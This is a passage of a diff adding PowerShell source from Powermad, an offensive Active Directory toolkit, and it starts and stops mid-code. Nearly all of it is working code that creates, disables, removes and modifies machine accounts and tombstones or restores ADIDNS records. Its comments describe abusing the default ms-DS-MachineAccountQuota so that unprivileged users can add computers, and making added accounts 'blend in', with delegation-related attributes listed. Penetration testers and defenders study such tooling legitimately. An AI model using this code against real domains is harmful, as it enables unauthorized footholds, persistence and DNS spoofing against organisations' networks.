+ [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if($MachineAccount.EndsWith('$')) + { + $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) + } + else + { + $machine_account = $MachineAccount + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + if(!$directory_entry.InvokeGet("AccountDisabled")) + { + + try + { + $directory_entry.InvokeSet("AccountDisabled","True") + $directory_entry.SetInfo() + Write-Output "[+] Machine account $MachineAccount has been disabled" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + } + else + { + Write-Output "[-] Machine account $MachineAccount is already disabled" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Enable-MachineAccount +{ + <# + .SYNOPSIS + This function enables a machine account that was disabled through Disable-MachineAccount. This function should + be used with the same user that created the machine account. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function sets a machine account's AccountDisabled attribute to false. + + .PARAMETER Credential + PSCredential object that will be used to disable the machine account. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER MachineAccount + The username of the machine account that will be enabled. + + .EXAMPLE + Enable a machine account named test. + Enable-MachineAccount -MachineAccount test + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if($MachineAccount.EndsWith('$')) + { + $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) + } + else + { + $machine_account = $MachineAccount + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + if($directory_entry.InvokeGet("AccountDisabled")) + { + + try + { + $directory_entry.InvokeSet("AccountDisabled","False") + $directory_entry.SetInfo() + Write-Output "[+] Machine account $MachineAccount enabled" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + } + else + { + Write-Output "[-] Machine account $MachineAccount is already enabled" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Get-MachineAccountAttribute +{ + <# + .SYNOPSIS + This function can return values populated in machine account attributes. + + .DESCRIPTION + This function is primarily for use with New-MachineAccount and Set-MachineAccountAttribute. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .PARAMETER Credential + PSCredential object that will be used to read the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain. This parameter is mandatory on a non-domain attached system. Note this parameter + requires a DNS domain name and not a NetBIOS version. + + .PARAMETER DomainController + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER MachineAccount + The username of the machine account that will be modified. + + .PARAMETER Attribute + The machine account attribute. + + .EXAMPLE + Get the value of the description attribute from a machine account named test. + Get-MachineAccountAttribute -MachineAccount test -Attribute description + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$true)][String]$Attribute, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if($MachineAccount.EndsWith('$')) + { + $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) + } + else + { + $machine_account = $MachineAccount + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $output = $directory_entry.InvokeGet($Attribute) + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function Get-MachineAccountCreator +{ + <# + .SYNOPSIS + This function leverages the ms-DS-CreatorSID property on machine accounts to return a list + of usernames or SIDs and the associated machine account. The ms-DS-CreatorSID property is only + populated when a machine account is created by an unprivileged user. Note that SIDs will be returned + over usernames if SID to username lookups fail through System.Security.Principal.SecurityIdentifier. + + .DESCRIPTION + This function can be used to see how close a user is to a ms-DS-MachineAccountQuota before + using New-MachineAccount. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .PARAMETER Credential + PSCredential object that will be used enumerate machine account creators. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .EXAMPLE + Get the ms-DS-CreatorSID values for a domain. + Get-MachineAccountCreator + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + try + { + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + $machine_account_searcher = New-Object DirectoryServices.DirectorySearcher + $machine_account_searcher.SearchRoot = $directory_entry + $machine_accounts = $machine_account_searcher.FindAll() | Where-Object {$_.properties.objectcategory -match "CN=computer"} + $creator_object_list = @() + + ForEach($account in $machine_accounts) + { + $creator_SID_object = $account.properties."ms-ds-creatorsid" + + if($creator_SID_object) + { + $creator_SID = (New-Object System.Security.Principal.SecurityIdentifier($creator_SID_object[0],0)).Value + $creator_object = New-Object PSObject + + try + { + + if($Credential) + { + $creator_account = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/<SID=$creator_SID>",$Credential.UserName,$credential.GetNetworkCredential().Password) + $creator_account_array = $($creator_account.distinguishedName).Split(",") + $creator_username = $creator_account_array[($creator_account_array.Length - 2)].SubString(3).ToUpper() + "\" + $creator_account_array[0].SubString(3) + } + else + { + $creator_username = (New-Object System.Security.Principal.SecurityIdentifier($creator_SID)).Translate([System.Security.Principal.NTAccount]).Value + } + + Add-Member -InputObject $creator_object -MemberType NoteProperty -Name Creator $creator_username + } + catch + { + Add-Member -InputObject $creator_object -MemberType NoteProperty -Name Creator $creator_SID + } + + Add-Member -InputObject $creator_object -MemberType NoteProperty -Name "Machine Account" $account.properties.samaccountname[0] + $creator_object_list += $creator_object + $creator_SID_object = $null + } + + } + + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + Write-Output $creator_object_list | Sort-Object -property @{Expression = {$_.Creator}; Ascending = $false}, "Machine Account" | Format-Table -AutoSize + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function New-MachineAccount +{ + <# + .SYNOPSIS + This function adds a machine account with a specified password to Active Directory through an encrypted LDAP + add request. By default standard domain users can add up to 10 systems to AD (see ms-DS-MachineAccountQuota). + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + The main purpose of this function is to leverage the default ms-DS-MachineAccountQuota attribute setting which + allows all domain users to add up to 10 computers to a domain. The machine account and HOST SPNs are added + directly through an LDAP connection to a domain controller and not by attaching the host system to Active + Directory. This function does not modify the domain attachment and machine account associated with the host + system. + + Note that you will not be able to remove the account without elevating privilege. You can however disable the + account as long as you maintain access to the account used to create the machine account. + + .PARAMETER Credential + PSCredential object that will be used to create the machine account. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER MachineAccount + The machine account that will be added. + + .PARAMETER Password + The securestring of the password for the machine account. + + .EXAMPLE + Add a machine account named test. + New-MachineAccount -MachineAccount test + + .EXAMPLE + Add a machine account named test with a password of Summer2018!. + $machine_account_password = ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force + New-MachineAccount -MachineAccount test -Password $machine_account_password + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$false)][System.Security.SecureString]$Password, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") + + if(!$Password) + { + $password = Read-Host -Prompt "Enter a password for the new machine account" -AsSecureString + } + + $password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password) + $password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR) + + if(!$DistinguishedName -and (!$DomainController -or !$Domain)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + $Domain = $Domain.ToLower() + $machine_account = $MachineAccount + + if($MachineAccount.EndsWith('$')) + { + $sam_account = $machine_account + $machine_account = $machine_account.SubString(0,$machine_account.Length - 1) + } + else + { + $sam_account = $machine_account + "$" + } + + Write-Verbose "[+] SAMAccountName = $sam_account" + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + $password_cleartext = [System.Text.Encoding]::Unicode.GetBytes('"' + $password_cleartext + '"') + $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389) + + if($Credential) + { + $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential()) + } + else + { + $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier) + } + + $connection.SessionOptions.Sealing = $true + $connection.SessionOptions.Signing = $true + $connection.Bind() + $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest + $request.DistinguishedName = $distinguished_name + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass","Computer")) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "SamAccountName",$sam_account)) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "userAccountControl","4096")) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "DnsHostName","$machine_account.$Domain")) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "ServicePrincipalName","HOST/$machine_account.$Domain", + "RestrictedKrbHost/$machine_account.$Domain","HOST/$machine_account","RestrictedKrbHost/$machine_account")) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "unicodePwd",$password_cleartext)) > $null + Remove-Variable password_cleartext + + try + { + $connection.SendRequest($request) > $null + Write-Output "[+] machine account $MachineAccount added" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + + if($error_message -like '*Exception calling "SendRequest" with "1" argument(s): "The server cannot handle directory requests."*') + { + Write-Output "[!] User may have reached ms-DS-MachineAccountQuota limit" + } + + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Remove-MachineAccount +{ + <# + .SYNOPSIS + This function removes a machine account with a privileged account. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + Machine accounts added with MachineAccountQuote cannot be deleted with an unprivileged user. Although users + can remove systems from a domain that they added using ms-DS-MachineAccountQuota, the machine account in AD is + just left in a disabled state. This function provides the ability to delete a machine account once a + privileged account has been obtained. + + .PARAMETER Credential + PSCredential object that will be used to delete the ADIDNS node. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER MachineAccount + The machine account that will be removed. + + .EXAMPLE + Remove a machine account named test with domain admin credentials. + Remove-MachineAccount -MachineAccount test -Credential $domainadmin + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if($MachineAccount.EndsWith('$')) + { + $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) + } + else + { + $machine_account = $MachineAccount + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry.psbase.DeleteTree() + Write-Output "[+] Machine account $MachineAccount removed" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Set-MachineAccountAttribute +{ + <# + .SYNOPSIS + This function can populate an attribute for an account that was added through New-MachineAccount. Write + access to the attribute is required. This function should be used with the same user that created the + machine account. + + .DESCRIPTION + The user account that creates a machine account is granted write access to some attributes. These attributes + can be leveraged to help an added machine account blend in better or change values that were restricted by + validation when the account was created. + + Here is a list of some of the usual write access enabled attributes: + + AccountDisabled + description + displayName + DnsHostName + ServicePrincipalName + userParameters + userAccountControl + msDS-AdditionalDnsHostName + msDS-AllowedToActOnBehalfOfOtherIdentity + SamAccountName + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .PARAMETER Credential + PSCredential object that will be used to modify the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER MachineAccount + The username of the machine account that will be modified. + + .PARAMETER Attribute + The machine account attribute. + + .PARAMETER Value + The machine account attribute value. + + .EXAMPLE + Set the description attribute to a value of "test value" on a machine account named test. + Set-MachineAccountAttribute -MachineAccount test -Attribute description -Value "test value" + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$true)][String]$Attribute, + [parameter(Mandatory=$true)]$Value, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if($MachineAccount.EndsWith('$')) + { + $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) + } + else + { + $machine_account = $MachineAccount + } + + if(!$DistinguishedName) + { + $distinguished_name = "CN=$machine_account,CN=Computers" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry.InvokeSet($Attribute,$Value) + $directory_entry.SetInfo() + Write-Output "[+] $directory_entry updated" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +#endregion + +#region begin DNS Functions + +function Disable-ADIDNSNode +{ + <# + .SYNOPSIS + This function can tombstone an ADIDNS node. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function deletes a DNS record by setting an ADIDNS node's dnsTombstoned attribute to 'True' and the + dnsRecord attribute to a zero type array. Note that the node remains in AD. + + .PARAMETER Credential + PSCredential object that will be used to tombstone the DNS node. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER SOASerialNumber + The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a + DNS server and querying an SOA record. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Tombstone a wildcard record. + Set-ADIDNSNodeTombstone -Node * + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone)) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + try + { + $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone -SOASerialNumber $SOASerialNumber + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + if(!$DistinguishedName) + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "$DistinguishedName" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + $timestamp = [int64](([datetime]::UtcNow.Ticks)-(Get-Date "1/1/1601").Ticks) + $timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp)) + $timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)} + + [Byte[]]$DNS_record = 0x08,0x00,0x00,0x00,0x05,0x00,0x00,0x00 + + $SOASerialNumberArray[0..3] + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $timestamp + + Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNS_record))" + + try + { + $directory_entry.InvokeSet('dnsRecord',$DNS_record) + $directory_entry.InvokeSet('dnsTombstoned',$true) + $directory_entry.SetInfo() + Write-Output "[+] ADIDNS node $Node tombstoned" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Enable-ADIDNSNode +{ + <# + .SYNOPSIS + This function can turn a tombstoned node back into a valid record. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can turn a tombstoned node back into a valid record. This function should be used in place of + New-ADIDNSNode when working with nodes that already exist due to being previously added. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to modify the attribute. + + .PARAMETER Data + For most record types this will be the destination hostname or IP address. For TXT records this can be used + for data. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. + + .PARAMETER DNSRecord + DNSRecord byte array. See MS-DNSP for details on the dnsRecord structure. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored. + + .PARAMETER Port + SRV record port. + + .PARAMETER Preference + MX record preference. + + .PARAMETER Priority + SRV record priority. + + .PARAMETER Tombstone + Switch: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that + allows it to be modified or fully tombstoned by any authenticated user. + + .PARAMETER SOASerialNumber + The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a + DNS server and querying an SOA record. + + .PARAMETER Static + Switch: Zeros out the timestamp to create a static record instead of a dynamic. + + .PARAMETER TTL + Default = 600: DNS record TTL. + + .PARAMETER Type + Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT. + + .PARAMETER Weight + SRV record weight. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Enable a wildcard record. + Enable-ADIDNSNode -Node * + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$Data, + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Byte[]]$DNSRecord, + [parameter(Mandatory=$false)][Int]$Preference, + [parameter(Mandatory=$false)][Int]$Priority, + [parameter(Mandatory=$false)][Int]$Weight, + [parameter(Mandatory=$false)][Int]$Port, + [parameter(Mandatory=$false)][Int]$TTL = 600, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + [parameter(Mandatory=$false)][Switch]$Static, + 